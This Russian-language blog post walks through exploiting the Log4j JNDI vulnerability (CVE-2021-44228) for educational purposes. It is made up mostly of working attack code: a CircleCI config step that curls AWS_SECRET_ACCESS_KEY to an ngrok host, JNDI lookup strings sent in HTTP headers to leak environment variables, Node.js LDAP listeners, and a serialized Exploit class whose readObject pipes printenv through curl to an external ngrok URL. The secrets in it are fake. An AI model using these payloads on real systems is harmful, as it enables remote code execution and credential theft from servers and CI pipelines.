Что-то пошло не так
Думаю все слышали про критическую уязвимость в Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. В итоге ей присвоили самый высокий критический статус CVE-2021-44228 и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости. Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI). Хотя последние 2 года Java я использую крайне редко, мне все равно стало интересно разобраться с проблемой более детально.История о том как я искал ключи
Начну очень издалека ... с жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл
А уже после, мы видим только маску в формате хххх{four-last-characters} (что в принципе тоже очевидно)
Так как я все таки разработчик и у меня было доступ к конфигурации деплоя
<repository>/.circleci/config.yml, то первое что мне пришло в голову, это распечатать значение переменной окружения прямо в консоль используя echo, что в реалиях CircleCI выглядит приерно так
YAML:
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run: echo "Hello world"
- run: echo ${CIRCLE_REPOSITORY_URL}
- run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
build:
jobs:
- build
CIRCLE_REPOSITORY_URL - встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY - переменная проекта созданная вручную. К
К слову, в первые годы жизни CircleCI это еще работало, но в конце 2019 хак
Думаем дальше и приходим к выводу, что очень часто, переменные окружения - это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах и логично предположить, что если “вкинуть” переменную в curl, то CI отправит ее в “сыром” виде и уже принимающая сторона сможет увидеть значение без маски. Пишем очень примитивный HTTP сервер на Node.js единственная задача которого печатать тело запроса в консоль
Код:
const express = require('express')
const app = express()
const port = 3000
app.use(express.text())
// Accepts literally any request to literally any path
app.all('*', (req, res) => {
// Print body to the console
console.log(req.body)
// Respond with empty string
res.send('')
})
app.listen(port, () => {
console.log(`App listening at http://localhost:${port}`)
})
Код:
curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'
Код:
$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body
Код:
$ ngrok http 3000
Код:
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding http://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Forwarding https://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Connections ttl opn rt1 rt5 p50 p90
2 0 0.03 0.01 5.07 5.14
<repository>/.circleci/config.yml
YAML:
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run: echo "Hello world"
- run: echo ${CIRCLE_REPOSITORY_URL}
- run: echo ${AWS_SECRET_ACCESS_KEY}
- run:
name: curl ${AWS_SECRET_ACCESS_KEY}
command: |
curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
build:
jobs:
- build
А в консоле Node.js HTTP сервера находим значение переменной окружения
AWS_SECRET_ACCESS_KEY которая пришла в теле curl запроса
Код:
$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key
Первое, доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это пожалуй то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.
Второе, жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.
Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP сервера.
Пишем и взламываем RESTful Web Service
Очевидно, что самым сложным моментом в процессе эксплоита является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем предкновения стал так называемый Lookups в Log4j, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечататьAWS_SECRET_ACCESS_KEY в консоль
Код:
public class App {
private static final Logger LOGGER = LogManager.getLogger(App.class);
public static void main(String[] args) {
LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
}
}
Код:
12:16:13.860 [main] INFO org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key
Не теряя времени, пишем простой LDAP сервер на Node.js единственная задача которого, печатать информацию о запросе в консоль
Код:
const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389
server.search('', (req, res, next) => {
// Print request attributes to the console
console.log(req.baseObject.rdns[0].attrs.q);
// Dummy response
res.send({
dn: '',
attributes: {}
})
res.end()
})
server.listen(port, () => {
console.log(`LDAP server listening at ${server.url}`)
})
Код:
$ ngrok tcp 1389
Код:
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://4.tcp.ngrok.io:18013 -> localhost:1389
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Код:
public class App {
private static final Logger LOGGER = LogManager.getLogger(App.class);
public static void main(String[] args) {
LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
}
}
AWS_SECRET_ACCESS_KEY которая пришла в теле запроса
Код:
$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}, поэтому продолжаем наш эксперимент ... конвертируем Java-приложение в RESTful Web Service используя Spring, но вместо стандартного Logback “просим” Spring использовать Log4j, как это сделать описано здесь How to use Log4j 2 with Spring Boot. Получаем вот такой контроллер
Код:
@RestController
public class GreetingController {
private final AtomicLong counter = new AtomicLong();
@GetMapping("/greeting")
public Greeting greeting() {
return new Greeting(counter.incrementAndGet(), "Greetings!");
}
}
Код:
@SpringBootApplication
public class RestServiceApplication {
public static void main(String[] args) {
SpringApplication.run(RestServiceApplication.class, args);
}
@Bean
public CommonsRequestLoggingFilter requestLoggingFilter() {
CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
loggingFilter.setIncludeClientInfo(true);
loggingFilter.setIncludeQueryString(true);
loggingFilter.setIncludePayload(true);
loggingFilter.setIncludeHeaders(true);
return loggingFilter;
}
}
Код:
$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}
${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} в заголовке curl запроса
Код:
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
Код:
$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Первое, доставка вредоносного кода происходит с помоющь обычного HTTP запроса к серверу. Вот такая строка
${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} может прийти или в теле запроса или в его заголовке, главное что бы Log4j попытался эту строку записать в лог, и собственно в этот момент происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоваться curl и знать куда отправлить HTTP запрос.Второе, жертва (в этом случае Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.
Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js LDAP сервера.
Несколько комментариев
- Совсем не обязательно явно использовать Log4j. В нашем примере, мы явно нигде не вызывали Log4j, а просто “попросили” Spring писать в лог информацию о входящих запросах. Значит любая зависимость в проекте, которая использует Log4j может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует ... Например, в Maven можно построить дерево зависимостей и посмотреть какие библиотеки используются в проекте
$ mvn dependency:tree | grep log4j - Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем как отправить их на срвер, все не отфильтруешь и проблема может вылезть даже в таких неожиданных местах как имя пользователя или сообщение в чате. Как например с изменением имени устройства в iCloud You can set the name of your iPhone and exploit Apple iCloud currently
- В нашем примере мы знаем, что переменная окружения называется AWS_SECRET_ACCESS_KEY, тоесть если мы используем “экзотичиские” имена переменных, то нам и нечего бояться? Это не совсем так ... каким бы сложным не казался последний пример, JNDI может намного больше чем “просто спросить” LDAP сервер
Ковыряем внутри JNDI
Забегая наперед, скажу пару слов о сериализации и десериализации. Сериализация и десериализация в Java это способ сохранить обьект в текстовом виде (сериализация) и восстановить этот же обьект в Java позже (десериализация). Это как конвертировать Java-обьект в JSON, а потом JSON конвертировать в Java-обьект на другом сервере, почитать детальнее можно здесь Java Object Serialization.Как оказывается, JNDI может создавать обьекты на основании ответа от LDAP сервера, нужно просто знать что вернуть. Например, если LDAP сервер вернет атрибут javaClassName, то JNDI попытается десериализовать обьект (см. LdapCtx.java#L1078-L1081)
Код:
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
Код:
// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
"objectClass",
"javaSerializedData",
"javaClassName",
"javaFactory",
"javaCodeBase",
"javaReferenceAddress",
"javaClassNames",
"javaRemoteLocation" // Deprecated
};
static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
Код:
public class Exploit implements Serializable {
private static final long serialVersionUID = -6153657763951339296L;
private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
// Any shady shit goes here
Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
}
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}
Код:
'sr'Exploit[''xpx
Код:
rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=
Код:
const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389
server.search('', (req, res, next) => {
// Print request attributes to the console
console.log(req.baseObject.rdns[0].attrs.q);
// Dummy response
res.send({
dn: '',
attributes: {
javaClassName: 'Exploit',
javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'),
javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar'
}
})
res.end()
})
server.listen(port, () => {
console.log(`LDAP server listening at ${server.url}`)
})
Код:
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
AWS_SECRET_ACCESS_KEY, но и все содержимое printenvВ данном случае, как только сервер получит ответ из LDAP
ClassLoaderзагрузит Exploit.jar и узнает о классе Exploit- Десериализуется обьект класса
Exploit - Во время десериализации выполнится код из метода
readObject(), а именноRuntime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-"); - Содержимое
printenv“сольется” curl запросом
-Dcom.sun.jndi.ldap.object.trustURLCodebase стоит в true, тоесть если мы разрешили Java загружать jar-файлы в ClassLoader из внешних источников, но уже существует способ это обойти JNDI-Injection-Bypass.Итог
Естественно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются “... JNDI Injection ...” и были написаны 3-5 лет назад Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets, Jackson deserialization exploits, Json Deserialization Exploitation, есть даже видео 5ти летней давности на эту тему A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land.Самая большая пробелма в том, что JNDI никуда не делся, а так же никуда не делись разработчики, которые не знают о JNDI, но пишут библиотеки, которыми в итоге пользуются другие ...
автор Александр Кетов @oleksandrkyetov